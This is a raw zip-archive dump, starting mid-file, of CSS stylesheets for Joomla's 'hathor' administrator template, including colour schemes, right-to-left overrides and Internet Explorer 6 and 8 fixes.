url(../images/header/icon-48-levels-add.png); } .icon-48-module { background-image: url(../images/header/icon-48-module.png); } .icon-48-menu { background-image: url(../images/header/icon-48-menu.png); } .icon-48-menu-add { background-image: url(../images/header/icon-48-menu-add.png); } .icon-48-menumgr { background-image: url(../images/header/icon-48-menumgr.png); } .icon-48-trash { background-image: url(../images/header/icon-48-trash.png); } .icon-48-user { background-image: url(../images/header/icon-48-user.png); } .icon-48-user-add { background-image: url(../images/header/icon-48-user-add.png); } .icon-48-user-edit { background-image: url(../images/header/icon-48-user-edit.png); } .icon-48-user-profile { background-image: url(../images/header/icon-48-user-profile.png); } .icon-48-inbox { background-image: url(../images/header/icon-48-inbox.png); } .icon-48-new-privatemessage { background-image: url(../images/header/icon-48-new-privatemessage.png); } .icon-48-msgconfig { background-image: url(../images/header/icon-48-message_config.png); } .icon-48-langmanager { background-image: url(../images/header/icon-48-language.png); } .icon-48-mediamanager { background-image: url(../images/header/icon-48-media.png); } .icon-48-plugin { background-image: url(../images/header/icon-48-plugin.png); } .icon-48-help_header { background-image: url(../images/header/icon-48-help_header.png); } .icon-48-impressions { background-image: url(../images/header/icon-48-stats.png); } .icon-48-browser { background-image: url(../images/header/icon-48-stats.png); } .icon-48-searchtext { background-image: url(../images/header/icon-48-stats.png); } .icon-48-thememanager { background-image: url(../images/header/icon-48-themes.png); } .icon-48-writemess { background-image: url(../images/header/icon-48-writemess.png); } .icon-48-featured { background-image: url(../images/header/icon-48-featured.png); } .icon-48-sections { background-image: url(../images/header/icon-48-section.png); } .icon-48-article-add { background-image: url(../images/header/icon-48-article-add.png); } .icon-48-article-edit { background-image: url(../images/header/icon-48-article-edit.png); } .icon-48-article { background-image: url(../images/header/icon-48-article.png); } .icon-48-content-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-install { background-image: url(../images/header/icon-48-extension.png); } .icon-48-dbbackup { background-image: url(../images/header/icon-48-backup.png); } .icon-48-dbrestore { background-image: url(../images/header/icon-48-dbrestore.png); } .icon-48-dbquery { background-image: url(../images/header/icon-48-query.png); } .icon-48-systeminfo { background-image: url(../images/header/icon-48-info.png); } .icon-48-massmail { background-image: url(../images/header/icon-48-massmail.png); } .icon-48-redirect { background-image: url(../images/header/icon-48-redirect.png); } .icon-48-search { background-image: url(../images/header/icon-48-search.png); } .icon-48-finder { background-image: url(../images/header/icon-48-search.png); } .icon-48-newsfeeds { background-image: url(../images/header/icon-48-newsfeeds.png); } .icon-48-newsfeeds-categories { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-edit { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-weblinks { background-image: url(../images/header/icon-48-links.png); } .icon-48-weblinks-categories { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-edit { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-add { background-image: url(../images/header/icon-48-category-add.png); } /** * General styles */ div.message { border: 1px solid #738498; color: #2c2c2c; } .helpFrame { border-left: 0 solid #738498; border-right: none; border-top: none; border-bottom: none; } .outline { border: 1px solid #738498; background: #ffffff; } /** * Modal Styles */ dl.menu_type dt { border-bottom: 1px solid #738498; } ul#new-modules-list { border-top: 1px solid #738498; } /** * User Accessibility */ /* Skip to Content Visual Styling */ #skiplinkholder a, #skiplinkholder a:link, #skiplinkholder a:visited { color: #ffffff; background: #054993; border-bottom: solid #336 2px; } /** * Admin Form Styles */ fieldset.panelform { border: none 0; } /** * ACL STYLES relocated from com_users/media/grid.css */ a.move_up { background-image:url('../images/admin/uparrow.png'); } span.move_up { background-image:url('../images/admin/uparrow0.png'); } a.move_down { background-image:url('../images/admin/downarrow.png'); } span.move_down { background-image:url('../images/admin/downarrow0.png'); } a.grid_false { background-image:url('../images/admin/publish_x.png'); } a.grid_true { background-image:url('../images/admin/tick.png'); } a.grid_trash { background-image:url('../images/admin/icon-16-trash.png'); } /** * ACL PANEL STYLES */ /* All Tabs */ tr.row1 { background-color: #c3d2e5; } /* Summary Tab */ table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclsummary-table td.col6, table.aclsummary-table th.col6, table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-left: 1px solid #738498; } /* Icons */ span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat; } span.icon-16-locked { background: url(../images/admin/checked_out.png) 0 0 no-repeat; } label.icon-16-allow { background:url(../images/admin/icon-16-allow.png) no-repeat; } label.icon-16-deny { background:url(../images/admin/icon-16-deny.png) no-repeat; } a.icon-16-allow { background:url(../images/admin/icon-16-allow.png) no-repeat ; } a.icon-16-deny { background:url(../images/admin/icon-16-deny.png) no-repeat ; } a.icon-16-allowinactive { background:url(../images/admin/icon-16-allowinactive.png) no-repeat ; } a.icon-16-denyinactive { background:url(../images/admin/icon-16-denyinactive.png) no-repeat ; } /* ACL footer/legend */ ul.acllegend li.acl-allowed { background:url(../images/admin/icon-16-allow.png) no-repeat left; } ul.acllegend li.acl-denied { background:url(../images/admin/icon-16-deny.png) no-repeat left; } li.acl-editgroups, li.acl-resetbtn { background-color: #c3d2e5; border: 1px solid #738498; } li.acl-editgroups a, li.acl-resetbtn a { color: #054993; } li.acl-editgroups:hover, li.acl-resetbtn:hover, li.acl-editgroups:focus, li.acl-resetbtn:focus { background-color:#e5d9c3; } /* ACL Config --------- */ table#acl-config{ border: 1px solid #738498; } table#acl-config th, table#acl-config td { background: #c3d2e5; border-bottom: 1px solid #738498; } table#acl-config th.acl-groups { border-right: 1px solid #738498; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) right top no-repeat; } /** * Permission Rules */ #permissions-sliders ul#rules, #permissions-sliders ul#rules ul { border:solid 0 #738498; background:#ffffff; } ul#rules li .pane-sliders .panel h3.title { border:solid 0 #738498; } #permissions-sliders ul#rules .pane-slider { border:solid 1px #738498; } #permissions-sliders ul#rules li h3 { border:solid 1px #738498; } #permissions-sliders ul#rules li h3.pane-toggler-down a { border:solid 0; } #permissions-sliders ul#rules .group-kind { color:#2c2c2c; } #permissions-sliders ul#rules table.group-rules { border:solid 1px #738498; } #permissions-sliders ul#rules table.group-rules td { border-right: solid 1px #738498; border-bottom: solid 1px #738498; } #permissions-sliders ul#rules table.group-rules th { background: #e5d9c3; border-right: solid 1px #738498; border-bottom: solid 1px #738498; color: #2c2c2c; } ul#rules table.aclmodify-table { border: solid 1px #738498; } ul#rules table.group-rules td label { border: solid 0 #738498; } #permissions-sliders ul#rules .mypanel { border: solid 0 #738498; } #permissions-sliders ul#rules table.group-rules td { background: #ffffff; } #permissions-sliders span.level { color: #738498; background-image: none; } /* * Debug styles */ .check-0, table.adminlist tbody td.check-0 { background-color: #FFFFCF; } .check-a, table.adminlist tbody td.check-a { background-color: #CFFFDA; } .check-d, table.adminlist tbody td.check-d { background-color: #FFCFCF; } /** * System Messages */ #system-message dd ul { color: #2c2c2c; } #system-message dd.error ul { color: #2c2c2c; } #system-message dd.message ul { color: #2c2c2c; } #system-message dd.notice ul { color: #2c2c2c; } /** CSS file for Accessible Admin Menu * based on Matt Carrolls' son of suckerfish * with javascript by Bill Tomczak */ /* Note: set up the font-size on the id and used 100% on the elements. If ul/li/a are different ems, then the shifting back via non-js keyboard doesn't work properly */ /** * Menu Styling */ #menu { /* this is on the main ul */ color: #2c2c2c; } #menu ul { /* all lists */ background: #c3d2e5; background: -moz-linear-gradient( center top, #a5bbd4, #c3d2e5 70% );background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); color: #2c2c2c; } #menu ul li.node { background: url(../images/j_arrow.png) no-repeat right 50%; } #menu ul li.separator { margin-bottom: 0; border-bottom: 1px dotted #738498; } #menu a { color: #054993; background-repeat: no-repeat; background-position: left 50%; } #menu li { /* all list items */ border-right: 1px solid #738498; background-color: transparent; } #menu li a:hover, #menu li a:focus { background-color: #e5d9c3; } #menu li.disabled a:hover, #menu li.disabled a:focus, #menu li.disabled a { color: #738498; background-color: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } #menu li ul { /* second-level lists */ border: 1px solid #738498; } #menu li li { /* second-level row */ background-color: transparent; } /** * Styling parents */ /* 1 level - sfhover */ #menu li.sfhover a { background-color: #e5d9c3; } /* 2 level - normal */ #menu li.sfhover li a { background-color: transparent; } /* 2 level - hover */ #menu li.sfhover li.sfhover a,#menu li li a:focus { background-color: #e5d9c3; } /* 3 level - normal */ #menu li.sfhover li.sfhover li a { background-color: transparent; } /* 3 level - hover */ #menu li.sfhover li.sfhover li.sfhover a,#menu li li li a:focus { background-color: #e5d9c3; } /* bring back the focus elements into view */ #menu li li a:focus, #menu li li li a:focus { background-color: #e5d9c3; } #menu li li li a:focus { background-color: #e5d9c3; } /** * Submenu styling */ #submenu { border-bottom: 1px solid #738498; /* border-bottom plus padding-bottom is the technique */ /* This is the background befind the tabs */ /*background: #ffffff;*/ } #submenu a, #submenu span.nolink { background: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); border: 1px solid #738498; color: #054993; } #submenu a:hover, #submenu a:focus { background: #e5d9c3; } #submenu a.active, #submenu span.nolink.active { background: #fff; border-bottom: 1px solid #fff; color: #000; } .element-invisible { margin: 0; padding: 0; } /* -- Codemirror Editor ----------- */ div.CodeMirror-wrapping { border: 1px solid #738498; } /* User Notes */ table.adminform tr.row0 { background-color: #ffffff; } ul.alternating > li:nth-child(odd) { background-color: #ffffff; } ul.alternating > li:nth-child(even) { background-color: #c3d2e5;} ol.alternating > li:nth-child(odd) { background-color: #ffffff; } ol.alternating > li:nth-child(even) { background-color: #c3d2e5;} /* Installer Database */ #installer-database, #installer-discover, #installer-update, #installer-warnings { border-top: 1px solid #738498; } #installer-database p.warning { background: transparent url(../images/admin/icon-16-deny.png) center left no-repeat; } #installer-database p.nowarning { background: transparent url(../images/admin/icon-16-allow.png) center left no-repeat; } PK@y>\e8#8#0templates/hathor/css/colour_highcontrast_rtl.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * RTL CSS file for the color standard */ /** * Overall Styles */ #header { background: #ffffff url(../images/j_logo.png) no-repeat top right; } #element-box { border-left: 1px solid #1b3f7c; border-right: 1px solid #1b3f7c; } /** * Status layout */ #module-status .preview { background: url(../images/menu/icon-16-media.png) right 3px no-repeat; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) right 3px no-repeat; } #module-status .unread-messages,#module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) right 3px no-repeat; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) right 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) right 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) right 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) right 3px no-repeat; } /** * Various Styles */ div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; } /** * Subheader, toolbar, page title */ div.toolbar-box { border-left: 1px solid #10254a; border-right: 1px solid #10254a; } div.toolbar-list li.divider { border-left:1px dotted #1b3f7c; border-right:none; } div.toolbar-list a:hover { border-right: 1px solid #000000; border-left: 1px solid #1b3f7c; } /** * Pane Slider pane Toggler styles */ .pane-toggler span { background: transparent url(../images/j_arrow_left.png) right 50% no-repeat; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) right 50% no-repeat; } /** * Cpanel Settings */ #cpanel div.icon a:hover, #cpanel div.icon a:focus { border-right: 1px solid #000000; border-left: 1px solid #1b3f7c; } fieldset#filter-bar { border-left: none; border-right: none; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { border-left: 1px solid #10254a; border-right: none; } table.paramlist td.paramlist_description { border-left: 1px solid #10254a; border-right: none; } /** * Admin Form Styles */ table.adminform tr { border-left: 1px solid #1b3f7c; border-right: none; } /** * Adminlist Table layout */ table.adminlist.modal { border-right: 1px solid #1b3f7c; border-left: 1px solid #1b3f7c; } /* Table row styles */ table.adminlist tbody tr td, table.adminlist tbody tr th { border-left: 1px solid #1b3f7c; border-right: none; } table.adminlist tbody tr td:last-child { border-left: none; } /** * Saving order icon styling in admin tables */ a.saveorder { background: url(../images/admin/filesave.png) no-repeat; } a.saveorder.inactive { background-position: 0 -16px; } /** * Button styling */ /* Button 1 Type */ /* Use this if you add images to the buttons such as directional arrows */ .button1 a { /* add padding if you are using the directional images */ /* padding: 0 6px 0 30px; */ } /* Button 2 Type */ .button2-right .prev { background-image: url(../images/j_button2_prev.png); background-position: right center; } .button2-right.off .prev { background: url(../images/j_button2_prev_off.png) no-repeat; } .button2-right .start { background-image: url(../images/j_button2_first.png); background-position: right center; } .button2-left .next { background-image: url(../images/j_button2_next.png); background-position: left center; } .button2-left.off .next { /* @TODO check the x position */ background: url(../images/j_button2_next_off.png) 100% 0 no-repeat; } .button2-left .end { background-image: url(../images/j_arrow_left.png); background-position: left center; } .button2-left.off .end { /* @TODO check the x position */ background: url(../images/j_button2_last_off.png) 100% 0 no-repeat; } .button2-left .image { background: url(../images/j_button2_image.png) 100% 0 no-repeat; } .button2-left .readmore { background: url(../images/j_button2_readmore.png) 100% 0 no-repeat; } .button2-left .pagebreak { background: url(../images/j_button2_pagebreak.png) 100% 0 no-repeat; } /** * Tooltips */ .tip-title { /* @TODO is there a different image */ background: url(../images/selector-arrow-hc.png) no-repeat right top; } /** * System Standard Messages */ #system-message dd.message ul { background: #10254a url(../images/notice-info.png) 99.5% center no-repeat; } /** * System Error Messages */ #system-message dd.error ul { background: #1c4181 url(../images/notice-alert.png) 99.5% top no-repeat; } /** * System Notice Messages */ #system-message dd.notice ul { background: #10254a url(../images/notice-note.png) 99%.5 top no-repeat; } /** * JGrid styles */ /** * Menu Icons * These icons are used on the Administrator menu * The classes are constructed dynamically when the menu is generated */ /** * Toolbar icons * These icons are used for the toolbar buttons * The classes are constructed dynamically when the toolbar is created */ /** * Quick Icons * Also knows as Header Icons * These are used for the Quick Icons on the Control Panel * The same classes are also assigned the Component Title */ /** * General styles */ .helpFrame { border-right: 0 solid #1b3f7c; border-left: none; border-top: none; } /* -- ACL STYLES relocated from com_users/media/grid.css ----------- */ /* -- ACL PANEL STYLES ----------- */ /* All Tabs */ table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-right: 1px solid #cbcbcb; border-left: none; } /* Icons */ ul.acllegend li.acl-allowed { background:url(../images/admin/icon-16-allow.png) no-repeat right; } ul.acllegend li.acl-denied { background:url(../images/admin/icon-16-deny.png) no-repeat right; } table#acl-config th.acl-groups { border-left: 1px solid #c7c8b2; } table#acl-config th.acl-groups { text-align: right; } .acl-action { margin: auto 0; } /* Icons */ span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat right; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat right; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat right; } span.icon-16-locked { background: url(../images/admin/checked_out.png) no-repeat right; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) left top no-repeat; } /** * Modal S-Box overrides */ #sbox-window { text-align:right; } /* * * Permission Rules */ #permissions-sliders ul#rules table.group-rules td { border-left:solid 1px #1b3f7c; border-right:solid 0 #1b3f7c; } #permissions-sliders ul#rules table.group-rules th { border-left:solid 1px #1b3f7c; border-right:solid 0 #1b3f7c; } /** * Menu Styling */ #menu ul li.node { background-image: url(../images/j_arrow_left.png); background-repeat: no-repeat; background-position: left 50%; } #menu a { background-position: right 50%; } #menu li { border-left: 1px solid #000000; } #menu li a:hover, #menu li a:active, #menu li a:focus { border-left: 1px solid #1b3f7c; border-right: 1px solid #000000; } #menu li.disabled a:hover,#menu li.disabled a:focus,#menu li.disabled a { border-right: 1px solid #10254a; border-left: 1px solid #10254a; } #menu li:hover ul,#menu li.sfhover ul { /* lists nested under hovered list items */ border-right: 1px solid #122b56; border-left: 1px solid #122b56; } #menu li li:hover ul,#menu li li.sfhover ul { border-right: 1px solid #122b56; border-left: 1px solid #122b56; } /** * Styling parents */ /* 1 level - sfhover */ #menu li.sfhover a { border-left: 1px solid #1b3f7c; border-right: 1px solid #000000; } /* 2 level - hover */ #menu li.sfhover li.sfhover a,#menu li li a:focus { border-left: 1px solid #1b3f7c; border-right: 1px solid #000000; } /* 3 level - hover */ #menu li.sfhover li.sfhover li.sfhover a,#menu li li li a:focus { border-left: 1px solid #1b3f7c; border-right: 1px solid #000000; } /* bring back the focus elements into view */ #menu li li a:focus { border-left: 1px solid #1b3f7c; border-right: 1px solid #000000; } #menu li li li a:focus { border-left: 1px solid #1b3f7c; border-right: 1px solid #000000; } /* Installer Database */ #installer-database p.warning { background-position: center right; } #installer-database p.nowarning { background-position: center right; } PK@y>\/͋  templates/hathor/css/ie8.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * CSS file for IE8 */ /** * Special Styles for Internet Explorer 8 */ /* Accessibility: css in template.css for slider keyboard * has to be reversed here or the mouse does not work for ie */ .pane-toggler + div.pane-slider { /*display: block;*/ } PK@y>\f}Htemplates/hathor/css/ie6.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * CSS file for IE6 */ /** * Special Styles for Internet Explorer 6 */ div.toolbar-box { float: left; width: 100%; } #minwidth,#minwidth-body { width: expression(document.body.clientWidth <= 960 ? "960px" : "auto"); } #content { float: left; } input { border-width: expression(this.type == "radio" ? '0px' : this.type == "checkbox" ? '0px' : '1px'); } div.toolbar-list span { margin: 0; position: relative } div.toolbar-list a { position: relative } div#subheader { height: 2em; } #login-page .pagetitle h2 { margin: 0; padding: 0; } * html .clearfix { height: 1%; } .hidelabeltxt { position: relative; text-indent: -9999em; }PK@y>\SDAA%templates/hathor/css/colour_brown.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * Color CSS file for the template - brown * This design thanks to Jennifer Marriot & Elin Waring */ /** * General styles */ body { background-color: #ffffff; color: #2c2c2c; } body,td,th { font-family: Lucida, Arial, Helvetica, sans-serif; } h1 { color: #2c2c2c; } a:link { color: #054993; } a:visited { color: #054993; } /** * Overall Styles */ #header { background: #ffffff url(../images/j_logo.png) no-repeat; } #header h1.title { color: #2c2c2c; } #footer { background: #ffffff; } #nav { background: #d5c1b2; border: 1px solid #000000; margin: 5px 20px 20px; } #content { background: #ffffff; } #no-submenu { border-bottom: 1px solid #000000; } .cpanel-page #no-submenu { border-bottom: 0 solid #000000; } #element-box.login { border: 1px solid #000000; } .cpanel-page div#element-box { border: 0; } #element-box.profile { padding: 15px; border: 0 solid #000000; } /** * Status layout */ #module-status .preview { background: url(../images/menu/icon-16-media.png) 3px 3px no-repeat; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) 3px 3px no-repeat; } #module-status .unread-messages,#module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) 3px 3px no-repeat; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) 3px 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) 3px 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) 3px 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) 3px 3px no-repeat; } /** * Various Styles */ .enabled, .success, .allow, span.writable { color: #005800; } .disabled, p.error, .warning, .deny, span.unwritable { color: #a20000; } .nowarning { color: #2c2c2c; } .none { color: #aaaaaa; } .protected { color: #999999; } span.note { background: #ffffff; color: #2c2c2c; } div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; } /** * Overlib */ .ol-foreground { background-color: #ffe; } .ol-background { background-color: #6db03c; } .ol-textfont { color: #666666; } .ol-captionfont { color: #ffffff; } .ol-captionfont a { color: #000000; } /** * Subheader, toolbar, page title */ div.subheader .padding { background: #ffffff; } .pagetitle h2 { color: #2c2c2c; } div.configuration { color: #2c2c2c; background-image: url(../images/menu/icon-16-config.png); background-repeat: no-repeat; } div.toolbar-box { border-right: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; /*border-top: 1px solid #000000;*/ background: #fdfcfb; } div.toolbar-list li { color: #2c2c2c; } div.toolbar-list a { border: 1px solid #000000; background: #d5c1b2; } div.toolbar-list a:hover { border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #000000; border-bottom: 1px solid #000000; text-decoration: none; background: #e1d3c8; color: #000000; } /** * Pane Slider pane Toggler styles */ .pane-sliders .title { color: #2c2c2c; } .pane-sliders .panel { border: 1px solid #000000; } .pane-sliders .panel h3 { background: #d5c1b2; color: #2c2c2c; } .pane-sliders .adminlist { border: 0 none; } .pane-sliders .adminlist td { border: 0 none; } .pane-toggler span { background: transparent url(../images/j_arrow.png) 5px 50% no-repeat; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) 5px 50% no-repeat; } .pane-toggler-down { border-bottom: 1px solid #000000; } /** * Tabs */ dl.tabs dt { border: 1px solid #000000; background: #d5c1b2; color: #2c2c2c; } dl.tabs dt.open { background: #ffffff; border-bottom: 1px solid #ffffff; color: #2c2c2c; } dl.tabs dt.open a:visited { color: #2c2c2c; } div.current { border: 1px solid #000000; background: #ffffff; } /* New parameter styles */ div.current fieldset { border: none 0; } div.current fieldset.adminform { border: 1px solid #000000; } /** * Login Settings */ #login-page .pagetitle h2 { background: transparent; } #login-page #lock { background: url(../images/j_login_lock.png) 50% 0 no-repeat; } #login-page #element-box.login { background: #d5c1b2; } #form-login { background: #ffffff; border: 1px solid #000000; } #form-login label { color: #2c2c2c; } #form-login div.button1 a { color: #2c2c2c; } /** * Cpanel Settings */ #cpanel div.icon a, .cpanel div.icon a { color: #2c2c2c; border: 1px solid #000000; background: #d5c1b2; } #cpanel div.icon a:hover, #cpanel div.icon a:focus, .cpanel div.icon a:hover, .cpanel div.icon a:focus { border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #000000; border-bottom: 1px solid #000000; background: #e1d3c8; color: #000000; } /** * Form Styles */ legend { color: #2c2c2c; } fieldset ul.checklist input:focus { outline: thin dotted #333333; } fieldset#filter-bar { border-top: none; border-right: none; border-bottom: 1px solid #000000; border-left: none; } fieldset#filter-bar ol, fieldset#filter-bar ul { border: 0; } fieldset#filter-bar ol li fieldset, fieldset#filter-bar ul li fieldset { border: 0; } /* Note: these visual cues should be augmented by aria */ .invalid { color: #a20000; } /* must be augmented by aria at the same time if changed dynamically by js aria-invalid=true or aria-invalid=false */ input.invalid { border: 1px solid #a20000; } /* augmented by aria in template javascript */ input.readonly, span.faux-input { border: 0; } input.required { background-color: #FFCFCF; } input.disabled { background-color: #eeeeee; } input,select, span.faux-input { background-color: #ffffff; border: 1px solid #000000; } /* Inputs used as buttons */ input[type="button"] { background-color: #d5c1b2; font-family: Lucida, Arial, Helvetica, sans-serif; } textarea { background-color: #ffffff; border: 1px solid #000000; } input:focus, select:focus, textarea:focus, option:focus, input:hover, select:hover, textarea:hover, option:hover { background-color: #e1d3c8; color: #2c2c2c; } /** * Option or Parameter styles */ .paramrules { background: #d5c1b2; } span.gi { color: #000000; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { background-color: #d5c1b2; color: #2c2c2c; border-bottom: 1px solid #e9e9e9; border-right: 1px solid #e9e9e9; } table.paramlist td.paramlist_description { background-color: #d5c1b2; color: #2c2c2c; border-bottom: 1px solid #e9e9e9; border-right: 1px solid #e9e9e9; } /** * Admin Form Styles */ fieldset.adminform { border: 1px solid #000000; } /* Table styles are for use with tabular data */ table.adminform { background-color: #ffffff; } table.adminform tr.row0 { background-color: #ffffff; } table.adminform tr.row1 { background-color: #e1d3c8; } table.adminform th { color: #2c2c2c; background: #ffffff; } table.adminform tr { border-bottom: 1px solid #000000; border-right: 1px solid #000000; } /** * Adminlist Table layout */ table.adminlist { border-spacing: 1px; background-color: #ffffff; color: #2c2c2c; } table.adminlist.modal { border-right: 1px solid #000000; border-left: 1px solid #000000; } table.adminlist a { color: #054993; } table.adminlist thead th { background: #ffffff; color: #2c2c2c; border-bottom:1px solid #000000; } /* Table row styles */ table.adminlist tbody tr { background: #ffffff; } table.adminlist tbody tr.row1 { background: #ffffff; } table.adminlist tbody tr.row1 td, table.adminlist tbody tr.row1 th { border-bottom: 1px solid #000000; } table.adminlist tbody tr.row0:hover td, table.adminlist tbody tr.row1:hover td, table.adminlist tbody tr.row0:hover th, table.adminlist tbody tr.row1:hover th, table.adminlist tbody tr.row0:focus td, table.adminlist tbody tr.row1:focus td, table.adminlist tbody tr.row0:focus th, table.adminlist tbody tr.row1:focus th { background-color: #e1d3c8; } table.adminlist tbody tr td:last-child { border-right: none; } table.adminlist tbody tr.row0:last-child td, table.adminlist tbody tr.row0:last-child th { border-bottom: 1px solid #000000; } table.adminlist tbody tr.row0 td, table.adminlist tbody tr.row0 th { background: #d5c1b2; } table.adminlist tfoot tr { color: #2c2c2c; } /* Table td/th styles */ table.adminlist tfoot td,table.adminlist tfoot th { background-color: #ffffff; border-top: 1px solid #000000; } /** * Adminlist buttons */ table.adminlist tr td.btns a { border: 1px solid #000000; background-color: #ffffff; color: #2c2c2c; } table.adminlist tr td.btns a:hover, table.adminlist tr td.btns a:active, table.adminlist tr td.btns a:focus { background-color: #d5c1b2; } /** * Saving order icon styling in admin tables */ a.saveorder { background: url(../images/admin/filesave.png) no-repeat; } a.saveorder.inactive { background-position: 0 -16px; } /** * Saving order icon styling in admin tables */ fieldset.batch { background: #fff; } /** * Button styling */ button { background-color: #d5c1b2; border: 1px solid #000000; } button:hover, button:focus { background-color: #e1d3c8; } .invalid { color: #ff0000; } /* Button 1 Type */ .button1 { border: 1px solid #000000; background: #d5c1b2; } .button1 a { color: #2c2c2c; } .button1 a:hover,.button1 a:focus { background-color: #e1d3c8; } /* Button 2 Type */ .button2-left,.button2-right { border: 1px solid #000000; background-color: #d5c1b2; } .button2-left a, .button2-right a, .button2-left span, .button2-right span { color: #2c2c2c; } /* these are inactive buttons */ .button2-left span,.button2-right span { color: #cccccc; } .page span,.blank span { color: #2c2c2c; } .button2-left a:hover, .button2-right a:hover, .button2-left a:focus, .button2-right a:focus { background-color: #e1d3c8; } /** * Pagination styles */ /* Grey out the current page number */ .pagination .page span { color: #cccccc; } .icon-32-extension { background-image: url(../images/toolbar/icon-32-extension.png); } /** * Tooltips */ .tip { background: #ffffff; border: 1px solid #000000; } .tip-title { background: url(../images/selector-arrow-std.png) no-repeat; } /** * Calendar */ a img.calendar { background: url(../images/calendar.png) no-repeat; } /** * JGrid styles */ .jgrid span.publish { background-image: url(../images/admin/tick.png); } .jgrid span.unpublish { background-image: url(../images/admin/publish_x.png); } .jgrid span.archive { background-image: url(../images/menu/icon-16-archive.png); } .jgrid span.trash { background-image: url(../images/menu/icon-16-trash.png); } .jgrid span.default { background-image: url(../images/menu/icon-16-default.png); } .jgrid span.notdefault { background-image: url(../images/menu/icon-16-notdefault.png); } .jgrid span.checkedout { background-image: url(../images/admin/checked_out.png); } .jgrid span.downarrow { background-image: url(../images/admin/downarrow.png); } .jgrid span.downarrow_disabled { background-image: url(../images/admin/downarrow0.png); } .jgrid span.uparrow { background-image: url(../images/admin/uparrow.png); } .jgrid span.uparrow_disabled { background-image: url(../images/admin/uparrow0.png); } .jgrid span.published { background-image: url(../images/admin/publish_g.png); } .jgrid span.expired { background-image: url(../images/admin/publish_r.png); } .jgrid span.pending { background-image: url(../images/admin/publish_y.png); } .jgrid span.warning { background-image: url(../images/admin/publish_y.png); } /** * Menu Icons * These icons are used on the Administrator menu * The classes are constructed dynamically when the menu is generated */ .icon-16-archive { background-image: url(../images/menu/icon-16-archive.png); } .icon-16-article { background-image: url(../images/menu/icon-16-article.png); } .icon-16-banners { background-image: url(../images/menu/icon-16-banner.png); } .icon-16-banners-clients { background-image: url(../images/menu/icon-16-banner-client.png); } .icon-16-banners-tracks { background-image: url(../images/menu/icon-16-banner-tracks.png); } 